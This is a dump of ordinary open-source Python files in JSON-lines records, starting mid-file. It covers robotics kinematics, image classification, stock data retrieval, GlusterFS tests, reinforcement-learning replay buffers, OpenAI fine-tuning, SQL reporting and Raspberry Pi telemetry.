PI/6\n end_theta_3 = curr_theta_3 + PI/6\n else:\n start_theta_3 = 0.0\n end_theta_3 = PI + 0.4\n threshold_x = 0.03\n threshold_y = 0.03\n incrementer = 0.04\n for theta3 in np.arange(start_theta_3, end_theta_3, incrementer):\n k = kinematics3joint(curr_theta_1, curr_theta_2, theta3, l1, l2, l3)\n actual_x = k[3]\n actual_y = k[7]\n if (actual_x > desired_x_position and actual_x < desired_x_position + threshold_x):\n if (actual_y > desired_y_position - threshold_y and actual_y < desired_y_position + threshold_y):\n return [curr_theta_1,curr_theta_2,theta3]\n\ndef brute_force(d_x, d_y, l1, l2, curr_theta_1 = None, curr_theta_2 = None):\n print(\"brute force 1\")\n desired_x_position = d_x\n desired_y_position = d_y\n # Lengths of arms sections\n l1 = l1\n l2 = l2\n # Starting angle\n if curr_theta_1 is not None:\n start_theta_1 = curr_theta_1 - PI/6\n end_theta_1 = curr_theta_1 + PI/6\n else:\n start_theta_1 = 0.0\n end_theta_1 = PI/2\n if curr_theta_2 is not None:\n start_theta_2 = curr_theta_2 - PI/8\n end_theta_2 = curr_theta_2 + PI/8\n else:\n start_theta_2 = 0.0\n end_theta_2 = PI\n threshold_x = 0.01\n threshold_y = 0.08\n incrementer = 0.02\n for theta1 in np.arange(start_theta_1, end_theta_1, incrementer):\n for theta2 in np.arange(start_theta_2, end_theta_2, incrementer):\n k = kinematics(theta1, theta2, l1, l2)\n actual_x = k[3]\n actual_y = k[7]\n if (actual_x > desired_x_position - threshold_x and actual_x < desired_x_position + threshold_x):\n if (actual_y > desired_y_position - threshold_y and actual_y < desired_y_position + threshold_y):\n print(theta1)\n print(theta2)\n return [theta1,theta2]\n return 0\n\n\n\nif __name__ == \"__main__\":\n #brute_force3(-0.28,0.98,0.78,0.7, 0.1,1.36,0.7,1.7)\n #testy_boi()\n big_boi()\n","repo_name":"SDP-Team10/Railly-Clean","sub_path":"libraries/kinematics.py","file_name":"kinematics.py","file_ext":"py","file_size_in_byte":8294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"41277429190","text":"import os\n\nimport cv2\nimport requests\n\nbase_path = os.path.dirname(os.path.realpath(__file__))\n\n\nclass NeuralNetwork:\n def __init__(self):\n # Init deep learning machine\n self.CLASSES = {\n 0: \"background\",\n 1: \"aeroplane\",\n 2: \"bicycle\",\n 3: \"bird\",\n 4: \"boat\",\n 5: \"bottle\",\n 6: \"bus\",\n 7: \"car\",\n 8: \"cat\",\n 9: \"chair\",\n 10: \"cow\",\n 11: \"diningtable\",\n 12: \"dog\",\n 13: \"horse\",\n 14: \"motorbike\",\n 15: \"person\",\n 16: \"pottedplant\",\n 17: \"sheep\",\n 18: \"sofa\",\n 19: \"train\",\n 20: \"tvmonitor\",\n }\n\n self.network = cv2.dnn.readNetFromCaffe(\n base_path + \"/MobileNetSSD_deploy.prototxt.txt\",\n base_path + \"/MobileNetSSD_deploy.caffemodel\",\n )\n\n def detect(self, image_url):\n # Detect cats in image\n try:\n img_data = requests.get(image_url).content\n except requests.Timeout:\n return []\n except requests.ConnectionError:\n return []\n\n with open(\"tmp.jpg\", \"wb\") as tmp_image:\n tmp_image.write(img_data)\n\n image = cv2.imread(\"tmp.jpg\")\n cv2.resize(image, (300, 300))\n\n # Convert for network\n blob = cv2.dnn.blobFromImage(image, 0.007843, (300, 300), 127.5)\n self.network.setInput(blob)\n\n detections = self.network.forward()\n\n sub_detection = []\n\n for i in range(0, 3):\n classe = self.CLASSES[int(detections[0, 0, i, 1])]\n confidence = detections[0, 0, i, 2] * 100\n\n sub_detection.append({\"classe\": classe, \"confidence\": confidence})\n\n return sub_detection\n","repo_name":"FlavienRx/insta_cat_liker_bot","sub_path":"neural_network_module/neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"23643032135","text":"import requests\r\nfrom datetime import datetime\r\nfrom pe_ratio import retrieve_pe_ratios\r\nimport numpy as np\r\n\r\n\r\ndef retrieve_historical(ticker: str) -> dict:\r\n path_params = {\r\n \"assetclass\": \"etf\",\r\n \"fromdate\": \"2013-06-20\",\r\n \"todate\": \"2023-09-03\",\r\n \"limit\": \"9999\",\r\n }\r\n\r\n headers = {\r\n \"Accept\": \"application/json,text/plain,*/*\",\r\n \"Cache-Control\": \"no-cache\",\r\n \"Dnt\": \"1\",\r\n \"Origin\": \"https://www.nasdaq.com\",\r\n \"Referer\": \"https://www.nasdaq.com\",\r\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.51\",\r\n }\r\n\r\n return requests.get(\r\n f\"https://api.nasdaq.com/api/quote/{ticker}/historical\",\r\n params=path_params,\r\n headers=headers,\r\n timeout=5,\r\n ).json()\r\n\r\n\r\ndef retrieve_spy_historical_data() -> list:\r\n pe_history = retrieve_pe_ratios()\r\n\r\n history = retrieve_historical(\"SPY\")\r\n if (\r\n history is not None\r\n and history[\"data\"] is not None\r\n and history[\"data\"][\"tradesTable\"] is not None\r\n and history[\"data\"][\"tradesTable\"][\"rows\"]\r\n ):\r\n history = history[\"data\"][\"tradesTable\"][\"rows\"]\r\n\r\n pe_cursor = 0\r\n history.reverse()\r\n for i in range(0, len(history)):\r\n history[i][\"date\"] = datetime.strptime(\r\n history[i][\"date\"], \"%m/%d/%Y\"\r\n ).timestamp()\r\n history[i][\"open\"] = float(history[i][\"open\"].replace(\",\", \"\"))\r\n history[i][\"close\"] = float(history[i][\"close\"].replace(\",\", \"\"))\r\n history[i][\"high\"] = float(history[i][\"high\"].replace(\",\", \"\"))\r\n history[i][\"low\"] = float(history[i][\"low\"].replace(\",\", \"\"))\r\n if history[i][\"volume\"] != \"N/A\":\r\n history[i][\"volume\"] = int(history[i][\"volume\"].replace(\",\", \"\"))\r\n else:\r\n history[i][\"volume\"] = None\r\n while (\r\n pe_cursor < (len(pe_history) - 1)\r\n and history[i][\"date\"] > pe_history[pe_cursor + 1][0]\r\n ):\r\n pe_cursor += 1\r\n history[i][\"pe\"] = float(pe_history[pe_cursor][1])\r\n\r\n print(\"History download complete!!!\")\r\n else:\r\n raise Exception(\"Ticker was not readable\")\r\n\r\n return history\r\n\r\n\r\n\"\"\"\r\n 0 - 90 day gain\r\n 1 - 60 day gain\r\n 2 - 30 day gain\r\n 3 - 15 day gain\r\n 4 - 12 day gain\r\n 5 - 10 day gain\r\n 6 - 7 day gain\r\n 7 - 3 day gain\r\n 8 - Previous day close\r\n 9 - Previous day open\r\n 10 - Previous day high\r\n 11 - Previous day low\r\n 12 - Current day open\r\n 13 - P/E ratio\r\n\"\"\"\r\n\r\n\r\ndef gain(history, index, days):\r\n return (history[index][\"open\"] - history[index - days][\"close\"]) / history[\r\n index - days\r\n ][\"close\"]\r\n\r\n\r\ndef retrieve_ticker_data() -> (list, list):\r\n history = retrieve_spy_historical_data()\r\n symbol_data = []\r\n for i in range(90, len(history)):\r\n _90_day_gain = gain(history, i, 90)\r\n _60_day_gain = gain(history, i, 60)\r\n _30_day_gain = gain(history, i, 30)\r\n _15_day_gain = gain(history, i, 15)\r\n _12_day_gain = gain(history, i, 12)\r\n _10_day_gain = gain(history, i, 10)\r\n _7_day_gain = gain(history, i, 7)\r\n _3_day_gain = gain(history, i, 3)\r\n previous_close = history[i - 1][\"close\"]\r\n previous_open = history[i - 1][\"open\"]\r\n previous_high = history[i - 1][\"high\"]\r\n previous_low = history[i - 1][\"low\"]\r\n current_open = history[i][\"open\"]\r\n pe_ratio = history[i][\"pe\"]\r\n\r\n symbol_data.append(\r\n np.array(\r\n [\r\n _90_day_gain,\r\n _60_day_gain,\r\n _30_day_gain,\r\n _15_day_gain,\r\n _12_day_gain,\r\n _10_day_gain,\r\n _7_day_gain,\r\n _3_day_gain,\r\n previous_close,\r\n previous_open,\r\n previous_high,\r\n previous_low,\r\n current_open,\r\n pe_ratio,\r\n ],\r\n dtype=np.single,\r\n )\r\n )\r\n return symbol_data, history\r\n\r\n\r\ndef price_change(current, history, days):\r\n return (current - history[-days][\"close\"]) / history[-days][\"close\"]\r\n\r\n\r\ndef prepare_price(current: float, pe: float, history: list[list[float]]) -> list[float]:\r\n _90_day_gain = price_change(current, history, 90)\r\n _60_day_gain = price_change(current, history, 60)\r\n _30_day_gain = price_change(current, history, 30)\r\n _15_day_gain = price_change(current, history, 15)\r\n _12_day_gain = price_change(current, history, 12)\r\n _10_day_gain = price_change(current, history, 10)\r\n _7_day_gain = price_change(current, history, 7)\r\n _3_day_gain = price_change(current, history, 3)\r\n previous_close = history[-1][\"close\"]\r\n previous_open = history[-1][\"open\"]\r\n previous_high = history[-1][\"high\"]\r\n previous_low = history[-1][\"low\"]\r\n\r\n return np.array(\r\n [\r\n _90_day_gain,\r\n _60_day_gain,\r\n _30_day_gain,\r\n _15_day_gain,\r\n _12_day_gain,\r\n _10_day_gain,\r\n _7_day_gain,\r\n _3_day_gain,\r\n previous_close,\r\n previous_open,\r\n previous_high,\r\n previous_low,\r\n current,\r\n pe,\r\n ],\r\n dtype=np.single,\r\n )\r\n","repo_name":"DidgeridooMH/atreidos","sub_path":"trade-simulation/historical.py","file_name":"historical.py","file_ext":"py","file_size_in_byte":5549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"4873570579","text":"from tests.d_parent_test import DParentTest\n\n\nclass TestGlusterFindQueryCLI(DParentTest):\n\n def run_test(self, redant):\n \"\"\"\n Verifying the glusterfind query command functionality with valid\n and invalid values for the required and optional parameters.\n\n * Create a volume\n * Perform some I/O from the mount point\n * Perform glusterfind query with the following combinations:\n - Valid values for required parameters\n - Invalid values for required parameters\n - Valid values for optional parameters\n - Invalid values for optional parameters\n\n Where\n Required parameters: volname and sessname\n Optional parameters: debug\n \"\"\"\n # Outfile path\n self.outfile = f\"/tmp/test-outfile-{self.vol_name}.txt\"\n\n # Starting IO on the mounts\n redant.logger.info(\"Creating Files on \"\n f\"{self.mountpoint}:{self.client_list[0]}\")\n cmd = (f\"cd {self.mountpoint} ; for i in `seq 1 10` ; \"\n \"do dd if=/dev/urandom of=file$i bs=1M count=1;done\")\n redant.execute_abstract_op_node(cmd, self.client_list[0])\n\n # Check if the files exist\n for i in range(1, 11):\n path = f\"{self.mountpoint}/file{i}\"\n ret = redant.path_exists(self.client_list[0], path)\n if not ret:\n raise Exception(\"File doesn't exist\")\n\n # Perform glusterfind query for the volume\n redant.gfind_query(self.server_list[0], self.vol_name, self.outfile,\n full=True)\n\n # Check if the outfile exists\n ret = redant.path_exists(self.server_list[0], self.outfile)\n if not ret:\n raise Exception(\"File doesn't exist\")\n\n # Check if all the files are listed in the outfile\n for i in range(1, 11):\n pattern = f\"file{i}\"\n ret = redant.check_if_pattern_in_file(self.server_list[0],\n pattern, self.outfile)\n if ret != 0:\n raise Exception(\"Pattern not found in file\")\n\n # Perform glusterfind query using the invalid values for required\n # parameters\n not_volume = \"invalid-volume\"\n ret = redant.gfind_query(self.server_list[0], not_volume,\n self.outfile, since='none', excep=False)\n if ret['error_code'] == 0:\n raise Exception(\"Unexpected: glusterfind query Successful even\"\n \" with invalid values for required parameters\")\n\n # Perform glusterfind query using the invalid values for optional\n # parameters\n invalid_options = [' --dbug', ' --noencod', ' --type n', ' --fll',\n ' --tagforfullfind', ' --disablepartial',\n ' --outprefix none', ' --namespc']\n for opt in invalid_options:\n cmd = f\"glusterfind query {self.vol_name} {self.outfile} {opt}\"\n ret = redant.execute_abstract_op_node(cmd, self.server_list[0],\n False)\n if ret['error_code'] == 0:\n raise Exception(\"Unexpected: glusterfind query successful\"\n f\" for option {opt} which is invalid\")\n","repo_name":"gluster/redant","sub_path":"tests/functional/glusterfind/test_gfind_query_cli.py","file_name":"test_gfind_query_cli.py","file_ext":"py","file_size_in_byte":3343,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"30"} +{"seq_id":"31200721541","text":"import pdfkit\noptions = {\n 'page-size': 'Letter',\n 'margin-top': '0.75in',\n 'margin-right': '0.75in',\n 'margin-bottom': '0.75in',\n 'margin-left': '0.75in',\n 'encoding': \"UTF-8\",\n 'custom-header': [\n ('Accept-Encoding', 'gzip')\n ],\n 'cookie': [\n\n ('cookie-name1', 'cookie-value1'),\n ('cookie-name2', 'cookie-value2'),\n ],\n 'no-outline': None\n}\n\n# pdfkit.from_url('google.com', 'out.pdf')\npdfkit.from_file('dashboard.html','out.pdf')\n","repo_name":"anthoniusadi/node","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"30"} +{"seq_id":"25444277878","text":"import numpy as np\nimport ray\n\nfrom omegaconf import DictConfig\nfrom collections import deque, namedtuple\n\n\nexperience = namedtuple(\n 'Experience',\n field_names=[\n 'state',\n 'action',\n 'reward',\n 'new_state',\n 'done'] \n )\n\nnstep_experience = namedtuple(\n 'n_step_experience',\n field_names=[\n 's_t',\n 'a_t',\n 'disc_ret',\n 's_tpn',\n 'done',\n 'gamma_power',\n ]\n )\n@ray.remote\nclass ExperienceReplayMemory:\n '''Vanilla Experience Replay Memory for storing past experiences'''\n def __init__(self, config: DictConfig):\n self.config = config\n \n self.batch_size = self.config.batch_size\n self.max_size = int(self.config.max_size)\n self.memory = deque(maxlen=int(self.max_size))\n \n self.samples_counter = 0\n\n def __len__(self):\n return len(self.memory)\n\n def add(self, experience):\n for e in experience:\n self.memory.append(e)\n self.samples_counter += 1\n\n def sample(self):\n sample_ix = np.random.randint(\n len(self.memory),\n size=self.batch_size\n )\n return [self.memory[ix] for ix in sample_ix]\n \n\n def get_total_samples(self):\n return self.samples_counter\n\n\n \n# Adapted From: https://github.com/mimoralea/gdrl/blob/master/notebooks/chapter_10/chapter-10.ipynb\n@ray.remote\nclass PrioritizedReplayBuffer:\n def __init__(self, config: DictConfig):\n self.config = config\n self.max_size = int(config.max_size)\n self.batch_size = int(config.batch_size)\n\n # Add to base-ERM config \n # if not rank based, then proportional\n self.rank_based = config.rank_based \n # How much prioritization to use. 0 is uniform (nopririty)\n # 1 is full priority\n self.alpha = config.alpha\n # Beta is the bias correction, 0 is no correction\n # 1 is full correction.\n # beta0 is the initial value.\n self.beta = config.beta\n self.beta0 = config.beta\n # Decreasing beta rate.\n self.beta_rate = config.beta_rate\n\n self.memory = np.empty((self.max_size, 2), dtype=np.ndarray)\n \n self.samples_counter = 0\n self.n_entries = 0\n self.next_index = 0\n self.td_error_index = 0\n self.sample_index = 1\n self._eps = 1e-4# Small epsilon constant to avoid small priorities\n\n def update(self, idxs, td_errors):\n '''\n Sort the memory according to the td error magnitudes\n in decreasing order\n '''\n self.memory[idxs, self.td_error_index] = np.abs(td_errors)\n if self.rank_based:\n sorted_arg = self.memory[:self.n_entries, self.td_error_index]\\\n .argsort()[::-1]\n self.memory[:self.n_entries] = self.memory[sorted_arg]\n\n def add_with_priorities(self,buffer):\n '''\n Apex variant for adding experiences to the memory.\n The argument buffer is np.dnarray([[Tuple, float],...]) \n where Tuple is the experience Tuple and float is the td_error.\n\n Adds the local buffer of an actor, with initial \n priorities or td errors.\n '''\n samples = buffer[:,self.sample_index]\n td_errors = buffer[:,self.td_error_index]\n n_samples = len(samples)\n indexes = np.arange(\n self.next_index, \n self.next_index + n_samples\n ) % self.max_size\n\n self.memory[indexes, self.td_error_index] = np.abs(td_errors) \n self.memory[indexes, self.sample_index] = samples\n self.n_entries = min(self.n_entries + n_samples, self.max_size)\n self.next_index = (indexes[-1] + 1) % self.max_size\n self.samples_counter += n_samples\n\n def add_with_priorities_(self, buffer):\n samples = buffer[:,self.sample_index]\n td_errors = buffer[:,self.td_error_index]\n n_samples = len(samples)\n \n for s, td in zip(samples, td_errors):\n self.memory[self.next_index, self.td_error_index] = np.abs(td)\n self.memory[self.next_index, self.sample_index] = s\n self.n_entries = min(self.n_entries +1, self.max_size)\n self.next_index += 1\n self.next_index = self.next_index % self.max_size\n \n\n\n\n def add(self, sample):\n priority = 1.0\n if self.n_entries > 0:\n priority = self.memory[\n :self.n_entries,\n self.td_error_index\n ].max()\n self.memory[self.next_index, self.td_error_index ] = np.array(priority)\n self.memory[self.next_index, self.sample_index] = np.array(sample)\n self.n_entries = min(self.n_entries +1, self.max_size)\n self.next_index += 1\n self.next_index = self.next_index % self.max_size\n\n def _update_beta(self):\n self.beta = min(1.0, self.beta*self.beta_rate**-1)\n return self.beta\n\n def sample(self, batch_size=None):\n batch_size = self.batch_size if batch_size == None else batch_size\n self._update_beta()\n entries = self.memory[:self.n_entries]\n\n if self.rank_based:\n priorities = 1/(np.arange(self.n_entries)+1)\n else: \n priorities = entries[:, self.td_error_index] + self._eps\n \n scaled_priorities = priorities**self.alpha\n scaled_priorities = scaled_priorities.astype('float64')\n pri_sum = np.sum(scaled_priorities)\n norm_pri = scaled_priorities/pri_sum\n probs = np.array(\n norm_pri,\n dtype=np.float64\n )\n\n weights = (self.n_entries * probs)**-self.beta\n normalized_weights = weights/weights.max()\n idxs = np.random.choice(\n self.n_entries,\n batch_size,\n replace=False,\n p=probs\n )\n samples = entries[idxs] \n samples_stack = samples[:,self.sample_index].flatten()\n idxs_stack = idxs\n weights_stack = normalized_weights[idxs]\n return idxs_stack, weights_stack, samples_stack\n\n\n def __len__(self):\n return self.n_entries\n\n def get_total_samples(self):\n return self.samples_counter\n\n\n \n","repo_name":"mjadiaz/distributed-ddpg","sub_path":"src/memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":6395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"20851554641","text":"#!/usr/bin/env python\nimport psycopg2\nfrom datetime import datetime\n\n\n# Connect to database and setup cursor\nconnection = psycopg2.connect(\"dbname=news\")\ncursor = connection.cursor()\n\n\n# The most popular three articles of all time\n\ndef popularArticle():\n query1 = \"\"\"\n SELECT articles.title, count(*)\n From articles JOIN log\n ON CONCAT('/article/', articles.slug) = log.path\n GROUP BY articles.title\n ORDER BY count(*) DESC\n LIMIT 3;\n \"\"\"\n cursor.execute(query1)\n print(\"\\nMost three popular articles:\\n\")\n for(title, count) in cursor.fetchall():\n print(\" {} - {} views\".format(title, count))\n\n\n# The most popular article authors of all time\ndef popularAuthors():\n query2 = \"\"\"\n SELECT authors.name, count(*)\n FROM articles\n JOIN authors\n ON authors.id = articles.author\n JOIN log\n ON CONCAT('/article/', articles.slug) = log.path\n GROUP BY authors.name\n ORDER BY count(*) DESC\n \"\"\"\n cursor.execute(query2)\n print(\"\\nMost popular author:\\n\")\n for(name, count) in cursor.fetchall():\n print(\" {} - {} views\".format(name, count))\n\n\n# On which days did more than 1% of requests lead to errors\ndef errorsRequests():\n\n query3 = \"\"\"\n SELECT *\n FROM errPercentage0\n WHERE errPercentage0.percentage > 1\n ORDER BY errPercentage0.percentage DESC\n LIMIT 1;\n \"\"\"\n cursor.execute(query3)\n print(\"\\nDays with more than one percentage of bad requests:\\n\")\n for q3 in cursor.fetchall():\n print((q3[1]).strftime(\"%B %d, %Y\") + \" - \" + str(q3[2]) + \" % errors\")\n\n connection.close()\n cursor.close()\n\n\nif __name__ == '__main__':\n popularArticle()\n popularAuthors()\n errorsRequests()\n","repo_name":"Ghada004/-logs-analysis-project","sub_path":"LogsAnalysis.py","file_name":"LogsAnalysis.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"31594621153","text":"import torch\nfrom dotenv import load_dotenv\nimport os\nimport openai\nfrom multiprocessing.pool import ThreadPool as Pool\nimport tqdm\nimport pandas as pd\n\nload_dotenv()\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\nfrom utils import Parameters, safe_mkdir, execute, accuracy\nimport re\nfrom dataset import FTDataset\nimport json\n\ndef finetune(model, dataset_name, modality, num_epochs = 20, save_suffix=\"_action\"):\n checkpoint_dir_path = os.path.join(Parameters.model_path, model.__class__.__name__ + save_suffix,\n dataset_name)\n safe_mkdir(checkpoint_dir_path)\n\n train_dataset = FTDataset('train', modality)\n test_dataset = FTDataset(dataset_name, modality)\n\n # frame train and test examples.\n train_examples = []\n for data_text, label in train_dataset:\n train_examples.append(json.dumps({\n 'prompt': data_text,\n 'completion': label\n }) + '\\n')\n # create test examples.\n test_examples = []\n for data_text, label in test_dataset:\n test_examples.append(json.dumps({\n 'prompt': data_text,\n 'completion': label\n }) + '\\n')\n\n train_data_file = os.path.join(checkpoint_dir_path, \"train_examples.jsonl\")\n test_data_file = os.path.join(checkpoint_dir_path, f\"{dataset_name}_examples.jsonl\")\n\n # dump examples into these files.\n with open(train_data_file, 'w') as f:\n f.writelines(train_examples)\n with open(test_data_file, 'w') as f:\n f.writelines(test_examples)\n\n start_cmd = f'''export OPENAI_API_KEY={openai.api_key} && openai api fine_tunes.create -m ada \\\n -t {train_data_file} \\\n -v {test_data_file} \\\n --n_epochs {num_epochs}'''\n\n for line in execute(start_cmd):\n print(line)\n m = re.search('ft-.*', line)\n if m and 'Created fine-tune:' in line:\n finetune_id = m.group()\n break\n\n follow_cmd = f'''export OPENAI_API_KEY={openai.api_key} && \\\n openai api fine_tunes.follow -i {finetune_id}'''\n\n done = False\n\n while True:\n for line in execute(follow_cmd):\n print(line, end='')\n m = re.search('ada\\S+', line)\n if m:\n model_name = m.group()\n done = True\n break\n if done:\n break\n\n model.model = model_name\n\n test_acc, test_preds, test_accs, tokens, token_logprobs = accuracy(model, test_dataset.prompts,\n true_labels=test_dataset.completions)\n\n final_csv_path = os.path.join(Parameters.model_path, model.__class__.__name__ + save_suffix, dataset_name,\n f\"{finetune_id}_{model_name}_{test_acc}.csv\")\n\n results = pd.DataFrame({\n 'prompt': test_dataset.prompts,\n 'true': test_dataset.completions,\n 'pred': test_preds,\n 'acc': test_accs,\n 'tokens': tokens,\n 'token_logprobs': token_logprobs\n })\n results.to_csv(final_csv_path, index= False)\n\n return model\n\n\ndef make_predictions(dataset_name, modality, finetune_id, model_name, save_suffix):\n model = Finetune()\n model.model = model_name\n\n test_dataset = FTDataset(dataset_name, modality)\n test_acc, test_preds, test_accs, perplexity, mapping = accuracy(model, test_dataset.prompts,\n true_labels=test_dataset.completions)\n\n checkpoint_dir_path = os.path.join(Parameters.model_path, model.__class__.__name__ + save_suffix,\n dataset_name)\n safe_mkdir(checkpoint_dir_path)\n\n final_csv_path = os.path.join(checkpoint_dir_path, f\"{finetune_id}_{model_name}_{test_acc}_{sum(perplexity)/len(perplexity)}.csv\")\n\n results = pd.DataFrame({\n 'prompt': test_dataset.prompts,\n 'true': test_dataset.completions,\n 'pred': test_preds,\n 'acc': test_accs,\n 'perplexity': perplexity,\n })\n\n final_json_path = os.path.join(checkpoint_dir_path, f\"{model_name}_mapping.json\")\n json.dump(mapping, open(final_json_path, 'w'))\n\n results.to_csv(final_csv_path, index= False)\n\n\nclass Finetune(torch.nn.Module):\n def __init__(self):\n super(Finetune, self).__init__()\n self.model = None\n\n def forward(self, inps):\n '''\n inps: list of data texts.\n returns : predicted classes.\n '''\n\n assert self.model != None\n\n def predict_example(prompt):\n response = openai.Completion.create(\n model=self.model,\n prompt= prompt,\n temperature=0.0,\n max_tokens=200,\n top_p=1.0,\n frequency_penalty=0.0,\n presence_penalty=0.0,\n stop = \"(NoOp)\",\n logprobs=1\n )\n # print('logprobs : ', res['choices'][0]['logprobs']['top_logprobs'][0])\n result = response.choices[0].text.strip() + ' (NoOp)'\n top_logprobs = response.choices[0]['logprobs']['top_logprobs']\n return result, top_logprobs\n\n with Pool(25) as p:\n inp_preds = list(tqdm.tqdm(p.imap(predict_example, inps), total=len(inps)))\n\n return inp_preds\n\n# action modality\n# \"ada:ft-carnegie-mellon-university-2023-03-29-00-36-57\"\n# \"ft-oZIrMnZhNesbuvDFamoUIgwG\"\n\n# language modality\n# \"ada:ft-carnegie-mellon-university-2023-03-30-20-42-45\"\n# \"ft-7i9Fgy6ieJKvDiNNS3mRvRc1\"\n\nif __name__ == '__main__':\n # make_predictions()\n\n # model = Finetune()\n # finetune(model, dataset_name, 'action', num_epochs=20, save_suffix='_ActionAda')\n\n # model = Finetune()\n # finetune(model, dataset_name, 'language', num_epochs=20, save_suffix='_LanguageAda')\n\n dataset_name = 'valid_unseen'\n modality = 'language'\n finetune_id = \"ft-oZIrMnZhNesbuvDFamoUIgwG\"\n model_name = \"ada:ft-carnegie-mellon-university-2023-03-30-20-42-45\"\n save_suffix = f\"_{modality.capitalize()}Ada\"\n make_predictions(dataset_name, modality, finetune_id, model_name, save_suffix)","repo_name":"hariharan98m/multimodal-alfred","sub_path":"data/json_2.1.0/baselines/ft.py","file_name":"ft.py","file_ext":"py","file_size_in_byte":6065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"32001526791","text":"# 중간 노드를 알 수 있는 전제 조건\n# 전체 Linked List 의 길이\n# 해당 Linked List 의 순서\n\n# 전제 조건은 편견이였음!!!\n\n\nclass Solution:\n def middleNode(self, head: ListNode) -> ListNode:\n original = head\n copy= head\n while copy and copy.next:\n original = original.next\n copy = copy.next.next\n return original","repo_name":"plan-bug/LeetCode-Challenge","sub_path":"microcephalus7/categories/linkedList/876.py","file_name":"876.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"70913626025","text":"# -*- coding: utf-8 -*-\n#!/usr/bin/env python\n\n\"\"\"Writer class.\nThis implementation does its best to follow the Robert Martin's Clean code guidelines.\nThe comments follows the Google Python Style Guide:\n https://github.com/google/styleguide/blob/gh-pages/pyguide.md\n\"\"\"\n\n__copyright__ = 'Copyright 2021, FCRLab at University of Messina'\n__author__ = 'Lorenzo Carnevale '\n__credits__ = ''\n__description__ = 'The Writer class writes into a persistent queue.'\n\n\nimport time\nimport json\nimport logging\nimport threading\nimport persistqueue\nfrom sensors import Sensors\nfrom datetime import datetime\n\n\nclass Writer:\n\n def __init__(self, tags, sampling_rate, mutex, verbosity):\n self.__tags = tags\n self.__sampling_rate = sampling_rate\n self.__mutex = mutex\n self.__writer = None\n self.__setup_logging(verbosity)\n\n def __setup_logging(self, verbosity):\n format = \"%(asctime)s %(filename)s:%(lineno)d %(levelname)s - %(message)s\"\n filename='log/populate.log'\n datefmt = \"%d/%m/%Y %H:%M:%S\"\n level = logging.INFO\n if (verbosity):\n level = logging.DEBUG\n logging.basicConfig(filename=filename, filemode='a', format=format, level=level, datefmt=datefmt)\n\n\n def setup(self):\n self.__writer = threading.Thread(\n target = self.__writer_job, \n args = ([self.__tags, self.__sampling_rate])\n )\n\n def __writer_job(self, tags, sampling_rate):\n # SQLite objects created in a thread can only be used in that same thread.\n self.__mutex.acquire()\n self.__queue = persistqueue.SQLiteQueue('data', multithreading=True, auto_commit=True)\n self.__mutex.release()\n\n try:\n self.__populate_forever(tags, sampling_rate)\n except KeyboardInterrupt:\n pass\n\n def __populate_forever(self, tags, sampling_rate=1):\n \"\"\"Populate the database with sensors data.\n\n Args:\n sampling_rate (int): rate (in seconds) for sampling the sensors \n data. It is 1 second by default.\n \"\"\"\n sensors = Sensors()\n while True:\n try:\n data = self.__get_power_consumption(tags, sensors)\n logging.debug('Collected new data')\n self.__queue.put(data)\n logging.debug('JSON data insert into the queue: %s' % (data))\n\n data = self.__get_cpu(tags, sensors)\n logging.debug('Collected new data')\n self.__queue.put(data)\n logging.debug('JSON data insert into the queue: %s' % (data))\n\n data = self.__get_memory(tags, sensors)\n logging.debug('Collected new data')\n self.__queue.put(data)\n logging.debug('JSON data insert into the queue: %s' % (data))\n\n data = self.__get_network(tags, sensors)\n logging.debug('Collected new data')\n self.__queue.put(data)\n logging.debug('JSON data insert into the queue: %s' % (data))\n except ValueError:\n logging.error('Data collected is malformed. JSON required.')\n except Exception as e:\n logging.error(e)\n\n time.sleep(sampling_rate)\n\n def __get_power_consumption(self, tags, sensors):\n data = {\n \"measurement\": \"power_consumption\",\n \"tags\": {\n \"mac_address\": sensors.get_MAC(),\n \"pi_model\": sensors.get_pi_model()\n },\n \"fields\": sensors.get_ina219_reading(),\n \"time\": str(datetime.utcnow())\n }\n data['tags'] = {**data['tags'], **tags}\n return data\n\n def __get_cpu(self, tags, sensors):\n data = {\n \"measurement\": \"cpu\",\n \"tags\": {\n \"mac_address\": sensors.get_MAC(),\n \"pi_model\": sensors.get_pi_model()\n },\n \"fields\": sensors.get_cpu_reading(),\n \"time\": str(datetime.utcnow())\n }\n data['tags'] = {**data['tags'], **tags}\n return data\n\n def __get_memory(self, tags, sensors):\n data = {\n \"measurement\": \"memory\",\n \"tags\": {\n \"mac_address\": sensors.get_MAC(),\n \"pi_model\": sensors.get_pi_model()\n },\n \"fields\": sensors.get_mem_reading(),\n \"time\": str(datetime.utcnow())\n }\n data['tags'] = {**data['tags'], **tags}\n return data\n\n def __get_network(self, tags, sensors):\n data = {\n \"measurement\": \"network\",\n \"tags\": {\n \"mac_address\": sensors.get_MAC(),\n \"pi_model\": sensors.get_pi_model()\n },\n \"fields\": sensors.get_net_reading(),\n \"time\": str(datetime.utcnow())\n }\n data['tags'] = {**data['tags'], **tags}\n return data\n\n\n def start(self):\n self.__writer.start()","repo_name":"lcarnevale/meterpi","sub_path":"meterpi/writer.py","file_name":"writer.py","file_ext":"py","file_size_in_byte":5128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} 